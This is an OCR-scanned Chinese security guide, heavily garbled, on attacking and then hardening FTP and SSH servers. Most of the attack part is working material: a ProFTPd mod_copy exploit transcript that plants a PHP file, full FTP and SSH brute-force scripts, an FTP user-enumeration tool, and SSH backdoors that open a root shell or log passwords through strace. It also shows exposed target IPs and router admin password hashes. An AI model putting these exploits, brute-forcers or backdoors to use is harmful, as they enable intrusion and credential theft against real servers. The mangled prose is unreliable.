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®=—= 21 (FTP) ivOi5&E
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RgLE : http://www.wooyun.org/. http://www.secbook.net
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FTP RS RELEE

1. FTP &7

FTP 22 File Transfer Protocol ( SIfHERIMNY ) RIZESIRERR , MRSXEfRA " SXEt

" . FBF Internet LAGEHEISHAIEE R, REY B2 — A RFAEER Application ),

ET AR ERFAEAEN FTP AEER , MATEIX LN FERFENE TR —FhY

LAERS, £ FTP ROERSH , BRAEBEIRMES : "T#" ( Download )
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2. FTP fRS3885RIR

TMRXERES centos 6.6 , ftp &R vsftp

4 vsftpd
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yum install vsftpd -y

B1TARSS

Jetc/init.d/vsftpd -y

VAT , TIIARETRERHERRFERER | SILITEESRIM.

3. EHIRECERAIA

o RIFERBBFEEER TEMXM

® EMEAIFMESBOS

o HIREEARS

® proFTPd RIFRAIS {42 T (CVE-2015-3306)

£ proFTPd hRA/IVF 1.3.5 RIS |, B proftp [RCRIFINEEIRK) | A cpfr il
cpto , BEREHE IMEHHRISIE | QISRFERNE web BRIVESTER T , BOlgEEA
webshell,

FTP imiRAfE SR

FefiEF nmap X4 21 iR RIERE T | ASSEM hydra 8i& medusa #{7&

PAGIERLE B MR 1 F 35

nmap -Pn -p21ip

BRI E w3

medusa -H ip.txt -U user.txt -P passwd.txt -M ftp
#hydra AXFEFHEERIS A
hydra -L username.txt -P passwd.txt  ftp://ip

FTP miRFIA

1. ProFTPd 1.3.5 - File Copy

Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands

to be used by *unauthenticated clients*:
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Trying 80.150.216.115...

Connected to 80.150.216.115.

Escape characteris ']".

220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help

214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname

214-CPTO <sp> pathname

214-UTIME <sp> YYYYMMDDhhmm([ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path

214-MKDIR <sp> path

214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect

214-QUOTA

214-HELP

214-CHGRP

214-CHMOD

214 Direct comments to root@wwwO01la

site cpfr /etc/passwd

350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy

250 Copy successful

He provides another, scarier example:

site cpfr /etc/passwd

350 File or directory exists, ready for destination name

site cpto <?php phpinfo(); ?>

550 cpto: Permission denied

site cpfr /proc/self/fd/3

350 File or directory exists, ready for destination name

site cpto /var/www/test.php

test.php now contains

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.l1an[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.l1an[192.168.3.193]): FTP session opened.

2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.1an[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
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test.php contains contain correct php script "<?php phpinfo(); ?>" which

can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169

XMNERMRIEAR | 555 web BR |, B GetSHell 7,
2, FTP E1ETH
AEHRIBRTEHIRE CRIBFRMER T | M H A 2%,

AE P HI 4 |, BEOIN—1M24, IECRIES | AILUERER.

#!/usr/bin/env python
#-*-coding = utf-8-*-
#author:@xfkxfk
#date:@2012-05-08

import sys, os, time
from ftplib import FTP
docs = nn

[*] This was written for educational purpose and pentest only. Use it at your own risk.

[*] Author will be not responsible for any damage!

[*] Toolname : ftp_bf.py
[*] Coder
[*] Version :0.1

[*] ample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt

if sys.platform =="linux' or sys.platform =="linux2":
clearing = 'clear’
else:
clearing = 'cls'

os.system(clearing)

R = "\033[31m";
G ="\033[32m";
Y = "\033[33m"
END = "\033[0m"

def logo():

print G+"\n

print " | |"
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print " | blog.sina.com.cn/kaiyongdeng |"
print " | 08/05/2012 ftp_bf.py v.0.1 |"
print " | FTP Brute Forcing Tool |"
print " | "
print " | |\n"

print " \n [-] %s\n" % time.strftime("%X")

print docs+END

def help():

print R+"[*]-t, --target ip/hostname <> Our target"

print "[*]-u, --usernamelist usernamelist <> usernamelist path"

print "[*]-p, --passwordlist passwordlist <> passwordlist path"

print "[*]-h, --help help <> print this help"

print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END

sys.exit(1)

def bf_login(hostname,username,password):

#  sys.stdout.write("\r[!]Checking : %s " % (p))

#  sys.stdout.flush()

try:

ftp = FTP(hostname)
ftp.login(hostname,username, password)
ftp.retrlines('list')
ftp.quit()
print Y+"\n[!] wOOt,w00t!!! We did it ! "

print "[+] Target : ",hostname,
print "[+] User : ",username, ""
print "[+] Password : ",password, ""+END
return 1
# sys.exit(1)
except Exception, e:
pass
except KeyboardInterrupt:
print R+"\n[-] Exiting ...\n"+END
sys.exit(1)

def anon_login(hostname):
try:
print G+"\n[!] Checking for anonymous login.\n"+END
ftp = FTP(hostname)
ftp.login()
ftp.retrlines('LIST')
print Y+"\n[!] wOOt,w00t!!! Anonymous login successfuly \n"+END
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ftp.quit()
except Exception, e:

print R+"\n[-] Anonymous login failed...\n"+END
pass
def main():
logo()
try:
for argin sys.argv:
if arg.lower() =='-t' or arg.lower() == '--target":
hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == "-u' or arg.lower() == '--usernamelist":
usernamelist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == "-p' or arg.lower() == '--passwordlist':

passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]

elif arg.lower() == "-h' or arg.lower() == "--help":
help()

elif len(sys.argv) <= 1:
help()

except:
print R+"[-]Cheak your parametars input\n"+END
help()
print G+"[!] BruteForcing target ..."+END
anon_login(hostname)
#  print "here is ok"
#  print hostname
try:
usernames = open(usernamelist, "r")
user = usernames.readlines()
countl =0
while countl < len(user):
user[count1] = user[count1].strip()
countl +=1
except:
print R+"\n[-] Cheak your usernamelist path\n"+END
sys.exit(1)
#  print "here is ok ",usernamelist,passwordlist
try:
passwords = open(passwordlist, "r")
pwd = passwords.readlines()
count2=0
while count2 < len(pwd):
pwd[count2] = pwd[count2].strip()
count2 +=1

except:
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print R+"\n[-] Check your passwordlist path\n"+END
sys.exit(1)

print G+"\n[+] Loaded:",len(user),"usernames"
print "\n[+] Loaded:",len(pwd),"passwords"
print "[+] Target:",hostname

print "[+] Guessing...\n"+END

for uin user:
for p in pwd:
result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))
if result I=1:
print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END
else:
print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END
if not result :
print R+"\n[-]There is no username ans password enabled in the list."
print "[-]Exiting...\n"+END
if _name__=="__main__":

main()

RN E5R0E 1-1-1

dengyongkai@ubuntu: ~/dengyongkaibishe... dengyongkai@ubuntu: ~/dengyongkaibishe/... dengyongkai@ubu

X

B 1-11
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3. FTP RIFHEHIA

#!/usr/bin/perl -w

# ftp-user-enum - Brute Force Usernames

# Copyright (C) 2006 pentestmonkey@pentestmonkey.net

#

# This program is free software; you can redistribute it and/or modify

# it under the terms of the GNU General Public License version 2 as

# published by the Free Software Foundation.

#

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

# GNU General Public License for more details.

#

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,

# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

#

# This tool may be used for legal purposes only.  Users take full responsibility
# for any actions performed using this tool. If these terms are not acceptable to
# you, then do not use this tool.

#

# You are encouraged to send comments, improvements or suggestions to
# me at ftp-user-enum@pentestmonkey.net

#

# This program is derived from dns-grind v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum )

use strict;

use Socket;

use 10::Handle;

use 10::Select;

use 10::Socket::INET;
use Getopt::Std;

Sl=1;

my $VERSION ="1.0%
my Sdebug =0;

my @child_handles = ();

my Sverbose =0;

my Smax_procs =5;

my Sftp_port =21;

my @usernames =();

my @hosts =();
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my Srecursive_flag = 1;
my Squery_timeout =15;
my Sstart_time =time();
my Send_time;
my Smode ="sol";
my Skill_child_string = "\x00";
SSIG{CHLD} = 'IGNORE'; # auto-reap
my %opts;
my Susage=<<USAGE;
ftp-user-enum vSVERSION ( http://pentestmonkey.net/tools/ftp-user-enum )
Usage: ftp-user-enum.pl [options] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets )
Enumerates users via FTP daemon specific bugs:
- Solaris FTPd responds differently to "CWD ~user" and "CWD ~nosuchuser" commands
- GNU Inetutils responds differently "USER user" and "USER nosuchuser" commands
options are:

-mn Maximum number of resolver processes (default: Smax_procs)
-uuser Check if user exists on remote system
-U file File of usernames to check via ftp service
-M mode Mode for enumerating users: "sol" for Solaris FTPd or

"iu" GNU Inetutils ftpd. Default (default: Smode)

-t host Server host running ftp service
-T file  File of hostnames running the ftp service

-p port  TCP port on which ftp service runs (default: $ftp_port)

-d Debugging output

-tn Wait a maximum of n seconds for reply (default: Squery_timeout)
-v Verbose

-h This help message

Also see ftp-user-enum-user-docs.pdf in the ftp-user-enum tar ball.
Examples:

1) Enumerate users on a vulnerable Solaris host:

\$ ftp-user-enum.pl -M sol -U users.txt -t 10.0.0.1

2) Enumerate users on a list of hosts running vulnerable Inetutils FTPd:
\$ ftp-user-enum.pl -M iu -U users.txt -T ips.txt

USAGE

getopts('m:u:U:s:S:dt:vhM:', \%opts);
# Print help message if required
if (Sopts{'h'}) {

print Susage;

exit 0;

my Susername = Sopts{'u'} if Sopts{'u'};
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my Susername_file = Sopts{'U'}if Sopts{'U'};

my Shost = Sopts{'t'} if Sopts{'t'};
my Shost_file = Sopts{'T'} if Sopts{'T'};
my Sfile = Sopts{'f'} if Sopts{'f'};
Smax_procs = Sopts{'m'} if Sopts{'m'};
Smode = Sopts{'M'} if Sopts{'M'};
Sverbose = Sopts{'v'} if Sopts{'v'};
Sdebug = Sopts{'d'} if Sopts{'d'};

# Check for illegal option combinations
unless ((defined(Susername) or defined(Susername_file)) and (defined(Shost) or defined(Shost_file))) {
print Susage;

exit 1;

# Check for strange option combinations
if (
(defined(Shost) and defined(Shost_file))
or
(defined(Susername) and defined(Susername_file))

)

print "WARNING: You specified a lone username or host AND a file of them. Continuing anyway...\n";

# Check mode if valid
if (Smode ne "sol" and Smode ne "iu") {
print "ERROR: Incorrect option passed via -M. Should be 'sol' or 'iu'.  -h for help.\n";

exit 1;

# Shovel usernames and host into arrays
if (defined(Susername_file)) {
open(FILE, "<Susername_file") or die "ERROR: Can't open username file Susername_file: $!\n";

@usernames = map { chomp($_); $_ } <FILE>;

if (defined(Shost_file)) {
open(FILE, "<Shost_file") or die "ERROR: Can't open username file Shost_file: $!\n";
@hosts = map { chomp($_); $_ } <FILE>;

if (defined(Susername)) {

push @usernames, Susername;

#1200 / B 125 51 AXNBHME R e Yol >3 58im, VIZIE FAREHE.



o2z HHRM 24k | 5B

if (defined(Shost)) {
push @hosts, Shost;

if (defined(Shost_file) and not @hosts) {
print "ERROR: Targets file Shost_file was empty\n";

exit 1;

if (defined(Susername_file) and not @usernames) {
print "ERROR: Username file Susername_file was empty\n";

exit 1;

print "Starting ftp-user-enum vSVERSION ( http://pentestmonkey.net/tools/ftp-user-enum )\n";

print "\n";

print " \n";

print "| Scan Information [\n";
print " \n";

print "\n";

print "Mode ........cou...... Smode\n";

print "Worker Processes ......... Smax_procs\n";

print "Targets file ............. Shost_file\n" if defined(Shost_file);

print "Usernames file ........... Susername_file\n" if defined(Susername_file);

print "Target count " . scalar(@hosts) . "\n" if @hosts;

print "Username count ........... ", scalar(@usernames) . "\n" if @usernames;
print "Target TCP port .......... Sftp_port\n";

print "Query timeout ............ Squery_timeout secs\n";

print "\n";

print "###H#HH### Scan started at " . scalar(localtime()) . " ##HHH#####\N";

# Spawn off correct number of children

foreach my Sproc_count (1..Smax_procs) {
socketpair(my Schild, my Sparent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!";
Schild->autoflush(1);
Sparent->autoflush(1);

# Parent executes this

if (my Spid = fork) {
close Sparent;
print "[Parent] Spawned child with PID Spid to do resolving\n" if Sdebug;
push @child_handles, Schild;
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# Chile executes this
}else {
close Schild;
while (1) {
my Stimed_out = 0;

# Read host and username from parent

my Sline = <Sparent>;

chomp($line);

my (Shost, Susername) = Sline =~ /A(\S+)\t(.*)S/;

# Exit if told to by parent
if (Sline eq Skill_child_string) {
print "[Child $$] Exiting\n" if Sdebug;

exit 0;

# Sanity check host and username
if (defined(Shost) and defined(Susername)) {

print "[Child $$] Passed host Shost and username Susername\n" if Sdebug;
}else {

print "[Child $S] WARNING: Passed garbage. Ignoring: Sline\n";

next;

# Do ftp query with timeout
my Sresponse;
eval {
local SSIG{ALRM} = sub { die "alarm\n" };
alarm Squery_timeout;
my Ss = 10::Socket::INET->new(  PeerAddr => Shost,
PeerPort => $ftp_port,
Proto =>"tcp'
)
or die "Can't connect to Shost:$ftp_port: $I\n";
if (Smode eq "sol") {
wait_for_banner(Ss);
Ss->send("cwd ~Susername\r\n");
my Sbuffer;
Ss->recv(Sbuffer, 10000);
Sresponse .= Shuffer;

my Swait = 0.1;

select(undef, undef, undef, Swait);
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Ss->recv(Sbuffer, 10000);

Sresponse .= Sbuffer;

} elsif (Smode eq "iu") {
wait_for_banner(Ss);
Ss->send("USER Susername\r\n");
Sresponse = get_line(Ss);

}else {

die "ERROR: Incorrect mode. This shouldn't happen.\n";

1
alarm O;
L
# if (5@) {
# Stimed_out = 1;
# print "[Child $$] Timeout for username Susername on host Shost\n" if Sdebug;
# }
my Strace;
if (Sdebug) {
Strace = "[Child $S$] Susername\@S$host: ";
}else {
Strace = "Susername\@Shost: ";
}

if (Smode eq "sol") {

if (Sresponse and not Stimed_out) {

# Negative result
if (Sresponse =~ /550 Unknown user name after ~/s) {
print Sparent Strace . "<no such user>\n";

next;

# Positive result
if (Sresponse =~ /530 Please login with USER and PASS./) {
print Sparent Strace . "Susername\n";

next;

# Unknown response
Sresponse =~ s/[\n\r]/./g;
print Sparent Strace . "Sresponse\n";

next;
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} elsif (Smode eq "iu") {

if (Sresponse and not Stimed_out) {

# Positive result
if (Sresponse =~ /530 User.*access denied./) {
print Sparent Strace . "Susername\n";

next;

# Negative result
if (Sresponse =~ /530 /s) {
print Sparent Strace . "<no such user>\n";

next;

# Positive result
if (Sresponse =~ /331 Password required for/) {
print Sparent Strace . "Susername\n";

next;

# Unknown response
Sresponse =~ s/[\n\r]/./g;
print Sparent Strace . "Sresponse\n";
next;
}
}else {

die "ERROR: Incorrect mode. This shouldn't happen.\n";

if (Stimed_out) {

print Sparent Strace . "<timeout>\n";
}else {

if (ISresponse) {

print Sparent Strace . "<no result>\n";

exit;

# Fork once more to make a process that will us usernames and hosts

socketpair(my Sget_next_query, my Sparent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair:
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s
Sget_next_query->autoflush(1);

Sparent->autoflush(1);

# Parent executes this
if (my Spid = fork) {

close Sparent;

# Chile executes this
}else {
# Generate queries from username-host pairs and send to parent
foreach my Susername (@usernames) {
foreach my Shost (@hosts) {
my Squery = Shost . "\t" . Susername;
print "[Query Generator] Sending Squery to parent\n" if Sdebug;
print Sparent "Squery\n";

exit 0;

printf "Created %d child processes\n", scalar(@child_handles) if Sdebug;
my Ss = 10::Select->new();

my Ss_in = 10::Select->new();

Ss->add(@child_handles);

Ss_in->add(\*STDIN);

my Stimeout = 0; # non-blocking

my Smore_queries = 1;

my Soutstanding_queries = 0;

my Squery_count = 0;

my Sresult_count = 0;

# Write to each child process once
writeloop: foreach my Swrite_handle (@child_handles) {
my Squery = <$Sget_next_query>;
if (Squery) {
chomp(Squery);
print "[Parent] Sending Squery to child\n" if Sdebug;
print Swrite_handle "Squery\n";
Soutstanding_queries++;
}else {
print "[Parent] Quitting main loop. All queries have been read.\n" if Sdebug;

last writeloop;

N
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# Keep reading from child processes until there are no more queries left
# Write to a child only after it has been read from
mainloop: while (1) {

# Wait until there's a child that we can either read from or written to.

my (Srh_aref) = 10::Select->select(S$s, undef, undef); # blocking

print "[Parent] There are " . scalar(@S$rh_aref) . " children that can be read from\n" if Sdebug;

foreach my Sread_handle (@Srh_aref) {
# Read from child
chomp(my Sline = <Sread_handle>);
if (Sverbose == 1 or $debug == 1 or not (Sline =~ /<no such user>/ or Sline =~ /no result/ or $line
=~ [<timeout>/)) {
print "Sline\n";
Sresult_count++ unless (Sline =~ /<no such user>/ or Sline =~ /no result/ or Sline =~
/<timeout>/);
}
Soutstanding_queries--;

Squery_count++;

# Write to child
my Squery = <Sget_next_query>;
if (Squery) {
chomp($query);
print "[Parent] Sending Squery to child\n" if Sdebug;
print Sread_handle "Squery\n";
Soutstanding_queries++;
}else {
print "DEBUG: Quitting main loop. All queries have been read.\n" if Sdebug;

last mainloop;

# Wait to get replies back from remaining children
my Scount = 0;
readloop: while (Soutstanding_queries) {
my @ready_to_read = $s->can_read(1); # blocking
foreach my Schild_handle (@ready_to_read) {
print "[Parent] Outstanding queries: Soutstanding_queries\n" if Sdebug;
chomp(my Sline = <Schild_handle>);
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if (Sverbose == 1 or $debug == 1 or not (Sline =~ /<no such user>/ or Sline =~ /no result/ or $Sline
=~ [<timeout>/)) {
print "Sline\n";
Sresult_count++ unless (Sline =~ /<no such user>/ or $Sline =~ /no result/ or Sline =~
/<timeout>/);
}
print Schild_handle "$Skill_child_string\n";
Ss->remove(Schild_handle);
Soutstanding_queries--;

Squery_count++;

# Tell any remaining children to exit

foreach my Shandle (Ss->handles) {
print "[Parent] Telling child to exit\n" if Sdebug;
print Shandle "Skill_child_string\n";

# Wait for all children to terminate

while(wait I=-1) {};

print "#H##H#H#### Scan completed at " . scalar(localtime()) . " ##H#####H\N";

print "Sresult_count results.\n";

print "\n";

Send_time = time(); # Second granularity only to avoid depending on hires time module

my Srun_time = $Send_time - Sstart_time;

Srun_time = 1 if Srun_time < 1; # Avoid divide by zero

printf "%d queries in %d seconds (%0.1f queries / sec)\n", Squery_count, Srun_time, Squery_count /

Srun_time;

sub wait_for_banner {
my Ssock = shift;

my Sbanner ="";

# print "$S: waiting for banner\n";

while (Sbanner I~ /220 .*\n/s) {
my Sbuffer;
Ssock->read(Sbuffer, 1);
Sbanner .= Sbuffer;
# print "$S: Sbanner\n";

1

# print "$S: final banner: Sbanner\n";
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sub get_line {

my Ssock = shift;

my Sline ="";

while (Sline !~ /Ad\d\d .*\n/s) {
my Sbuffer;
Ssock->read(Sbuffer, 1);
Sline .= Sbuffer;
# print "$S: Sbanner\n";

}

return Sline;

EEHE

1. RIEERRE

vim /etc/vsftpd/vsftpd.conf

anonymous_enable=NO

2, IERMOSEE

IMROSERE |, BRSO, BHREIRRIR

3. HTAERRE

{&£F iptables {8 ACL FTP 8EaIzUiIHEIT | BEHXEMUEEES

4. Fz

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp  -m multiport --dport 20,21 -m state --state NEW -j ACCEPT

5. #mnzl

vim /etc/modprobe.conf

alias ip_conntrack ip_conntract_ftp ip_nat_ftp
vim /etc/rc.local

/sbin/modprobe ip_conntract
/sbin/modprobe ip_conntrack_ftp
/sbin/modprobe ip_nat_ftp

1% vsftpd.conf REEXECEINT

pasv_enable=YES
pasv_min_port=2222

pasv_max_port=2225
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Bk SR S

iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT
iptables -A INPUT -p tcp --dport 2222:2225 -j ACCEPT
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—RRARS VR ERZENNBERAFRER. 550< LIREMSRARE] ssh RO,

REZRIFHA ssh RBE—LEEE,
3300/ B 125 W AUBME R A ok 2 258, VIZVH T AREHE.
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NR15Z SHELL J5 , 7B KEEiRPRE! , BHRIEFM— I LAGIARY SSH im0 |, kR

BILATEARS EHATA0 ™UES

# In -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

AETRE— 31337 i, SATSiERE 31337 , A root/bin/ftp/mail AP ,

B , BURTERS.

£2 root@localhost:~

MHF) 4B38(E) =F(V) =M ) iﬁlﬁf(T) #EN(H)

| dE DO | O WD

Fm 1 Windows Server 2008 R2 x64 L) Windows Server 2003 Enterpris... » Kali Linux 1.0.6

| Applications Places (z Fri May 9, 4:14 AM

root@localhost:~

File Edit View Search Terminal Help

:~# ssh root@l0.18.180.20 -p 31337
[Tho dllthcnthltV of host '[10.18.180.20]:31337 ([10.18.180.20] :31337)"' can't be
lestablished.
;RSA key fingerprint is 86:7f:dl:d6:44:fa:dc:ec:05:45:69:7e:04:40:fd:ad.
IAre you sure you want to continue connecting (yes/ ? ye
IWarning: Permanently added '[10.18.180.20]:31337' A the list of known hos

iroot@10.18.180.20"'s passwort
lLast login: Fri May 9 16:02 zQ 2014 from 10.18.180.10
ll[ root@localhost ~1# |§

2-1-1
f—~ SSH wrapper [5] JURILE—NMTF SREFREIMIRO [RESTSFHT SSH

, SRR

EARNLEHRITINTRS

[root@localhost ~]# cd /usr/sbin

[root@localhost sbin]# mv sshd ../bin

[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd

[root@localhost shin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /A..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd

[root@localhost sbin]# /etc/init.d/sshd restart

$ 3400 /5125 T AUHME B2 e Yol 2158, VIZIH T ARE A&
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BN ERITA RS

socat STDIO TCP4:10.18.180.20:22,sourceport=13377

185 SSH ZEFimEEERY

BEENE , EEENCRAG SSH IEEFIEMENAIERD |, H#—57 KE&R | £

strace OMATT . ERE :

:~# tail -n 2 .bashrc
alias ssh='strace -o /tmp/.sshpwd-'date '+%d%h%m%s'’.log -e read,write,connect -s2048 ssh'

L.O

:~# grep "read(5" /tmp/.sshpwd-09May051399625492.10g |tail -n 11

", 1)

gt
* 1)
o’ 1)

LL I | | | | N | { Y | A Y | ) C)

2-12
SSH Z2f&
1. EFAEEN
® root BEIRIEEMIOZE LA LA

o FiNEE  ELEFE+HFHIMIUL

* FRENRFZLEARE—HF

o RIZFIRIE(E 90 KEHE—IX )

o THOKERE  SEARNSKRSHNEFREERIEERTEZD

2. WEHE

NGRS ARR S AT LMK 58, ELANEARRRIARSZIZ TR AR RIEMUN A
EETEHINIRSSETIGES! localhost( LA REEHRANASESH mysql)

£

553500 / & 125 T AUME B ol 2158, VIZIA T HRER B
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3. RS&RekE

openssh BRINEGAEREMHELLLIRIERER 2% | BEEREBVENERE
Y ssh IRSS 2R TRLAICE,

BCE14 : /etc/ssh/ssh_config

known_hosts {RIFHEXIRSZ 2SR |, FRLARIBEAE hash : HashKnownHosts
yes

SSH MY v1 %&£ : Protocol 2

NS F X11 EARIER : X11Forwarding no

%4 rhosts : IgnoreRhosts yes

KABFEZRIESR - PermitEmptyPasswords no

REEFRENREL . MaxAuthTries 5

|k root & : PermitRootLogin no

KIAZRGIALE , BRXHIAIL :

PubkeyAuthentication yes

PasswordAuthentication no

R EZELILRF/ SR

AllowGroups, AllowUsers, DenyUsers, DenyGroups

HRABEMECE | 40 ACL, BOKIE |, BRIHER | REFHI#NT &,

SSH imiRFIA

#!/usr/bin/env python

#-*-coding = UTF-8-*-
#author@:dengyongkai
#blog@:blog.sina.com.cn/kaiyongdeng

%36 70 / & 125 TU AUEME R e Mk 21580, VIZVH ARG %
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import sys
import os
import time

#from threading import Thread

try:

from paramiko import SSHClient

from paramiko import AutoAddPolicy
except ImportError:

print G+"'
You need paramiko module.
http://www.lag.net/paramiko/
Debian/Ubuntu: sudo apt-get install aptitude

: sudo aptitude install python-paramiko\n'"'+END

sys.exit(1)

docs= """
[*] This was written for educational purpose and pentest only. Use it at your own risk.
[*] Author will be not responsible for any damage!
[*] Toolname : ssh_bf.py
[*] Author . xfk
[*] Version :v.0.2
[*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H
help]
if sys.platform =="linux' or sys.platform =='linux2":
clearing = 'clear
else:

clearing = 'cls'

os.system(clearing)

R="\033[31m";
G ="\033[32m";
Y ="\033[33m"
END ="\033[0m"

def logo():
print G+"\n | "
print " |
"
print " | blog.sina.com.cn/kaiyongdeng
"
print " | 16/05/2012 ssh_bf.py v.0.2

37050 / K125 01 AXUBME R e Yol 258, VIZI FEAREH S .
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print " | SSH Brute Forcing Tool
"
print " |
"
print " | |\n"
print " \n [-] %s\n" % time.ctime()
print docs+END
def help():
print Y+" [*]-H --hostname/ip <>the target hostname or ip address"
print " [*]-P --port <>the ssh service port(default is 22)"
print " [*]-U --usernamelist <>usernames list file"
print " [*]-P --passwordlist <>passwords list file"
print " [*]-H --help <>show help information"
print " [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
sys.exit(1)

def BruteForce(hostname,port,username,password):

Create SSH connection to target
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy())
try:

ssh.connect(hostname, port, username, password, pkey=None, timeout = None,

allow_agent=False, look_for_keys=False)

status = 'ok'

ssh.close()
except Exception, e:

status = 'error’

pass

return status

def makelist(file):

Make usernames and passwords lists

items =]

try:
fd = open(file, 'r')

#3800 / B 125 01 AXHME R e Yol 258w, VIZIE FAREH S .
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except IOError:
print R+'unable to read file \'%s\" % file+END

pass

except Exception, e:
print R+'unknown error'+END

pass

for line in fd.readlines():
item = line.replace('\n', "").replace('\r', "")
items.append(item)

fd.close()

return items

def main():
logo()
#  print "hello wold"
try:
for arg in sys.argv:
if arg.lower() == '-t' or arg.lower() == '--target":
hostname = str(sys.argv[int(sys.argv[1:].index(arg))+2])
if arg.lower() == "-p' or arg.lower() == "--port':
port = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == "-u' or arg.lower() == '--userlist":
userlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == "-w' or arg.lower() == '--wordlist":
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() =="-h' or arg.lower() == '--help":
help()
elif len(sys.argv) <= 1:
help()
except:
print R+"[-]Cheak your parametars input\n"+END
help()
print G+"\n[!] BruteForcing target ...\n"+END
# print "here is ok"
# print hostname,port,wordlist,userlist
usernamelist = makelist(userlist)

passwordlist = makelist(wordlist)

print Y+"[*] SSH Brute Force Praparing."
print "[*] %s user(s) loaded." % str(len(usernamelist))
print "[*] %s password(s) loaded." % str(len(passwordlist))

print "[*] Brute Force Is Starting....... "+END
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try:
for username in usernamelist:
for password in passwordlist:
print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END
current = BruteForce(hostname, port, username, password)
if current =="error":
print R+"[-]O*0 The username:%s and password:%s Is Disenbabled...\n" %
(username,password)+END
# pass
else:
print G+"\n[+] - HaHa,We Got It!!!"
print "[+] username: %s" % username
print "[+] password: %s\n" % password+END
# sys.exit(0)
except:
print R+"\n[-] There Is Something Wrong,Pleace Cheak It."
print "[-] Exitting.....\n"+END
raise
print Y+"[+] Done.A-"\n"+END
sys.exit(0)

n n

if _name__=="__main__":

main()

pliERES S

dengyongkai@ubuntu: ~/dengyongkaibishe... » dengyongkai@ubuntu: ~/dengyongkaibishe/... dengyongkai@ubuntu: ~/dengyongkaibishe|

L X

& 2-1-3
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H2T5 SCPREEfH!

=R =Ya]
kB8 Bx. %
ML : http://www.wooyun.org/. http://www.secbook.net

1. RFEUFAMLEEI ssh S5OSRBIAR

auth.anymacro.com A9 2143 ix%0 2150 82 ssh , FAF root Z#3 admin

2-2-1
Iz e o iR O o I ) [—c—
et )| @ hetpi/192.168.50.35 2 ~ & | & AnyMacro Mail System [ ] {np 5 ¢ o3
AnyMacro Mail System SIEE (7) f54E308n
o~ == DN
3 = a
| (/
A
@ | pushcwic.365co0l v
=z - =R
=2 MhiziEmas
e, &
£ . 255
VoA | =
I —— sz English
< =4 Internet Explorer 286 ARISESEZ? E=Ta%) FTEWW. WO Dyu n.O;g
& 2-2-2

AICEEHAM.,
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2. \—iX Juniper PiXIERIJEREIRFSEAMNERE Dl EE AR ) ST
ZABR)
B JuniperBHE1715350< /G, % zoomeye #E 2R 7T—TF —EHwid &AL IP(Z

[i5+]158):223.112.178.18 ROZAMRZEEBH OS2 HO.

| 223.112.178. 18

Femate Wanagement Conzaole

S3G5B0-> get config

Total Config size T190:

unzet key protection enable

zet clock timezone -1 1

zet clock dst recurring start-weekday 2 0 3 02:00 end-weekday 1 0 11 02:00
zet wvrouter trust-vr sharable

set vrouter “untrust—vr”

exit

zet vrouter “trust-vr®

unzet auto-route-export

exit

set service “i1ce2222” protocol top sro-port 0-68535 dst-port 2222-2222
zet serwvice "ice9090" protocol tep src—port 0-66535 dst-port 9090-3090
zet alg appleichat enable

unzet alg appleichat re—azsembly enzble

zet alg sctp enable

zet auth-server "Local” id 0

zet auth-server "Local” server-name "Local”

set auth default auth server “Local”

zet auth radius accounting port 1646

set admin name “netscreen”

zet admin pazsword “nEVIMZrwlUzPorkGhsWIHACtgkdibn®

zet admin uzer "lowkey” pasaword "nFlTGIrdJiZEchilVsJAREDtyFCfUn" privilege "all”
zet admin port B088 WWW‘Wooyun‘org

zet admin auth web timeout 10

2-2-3
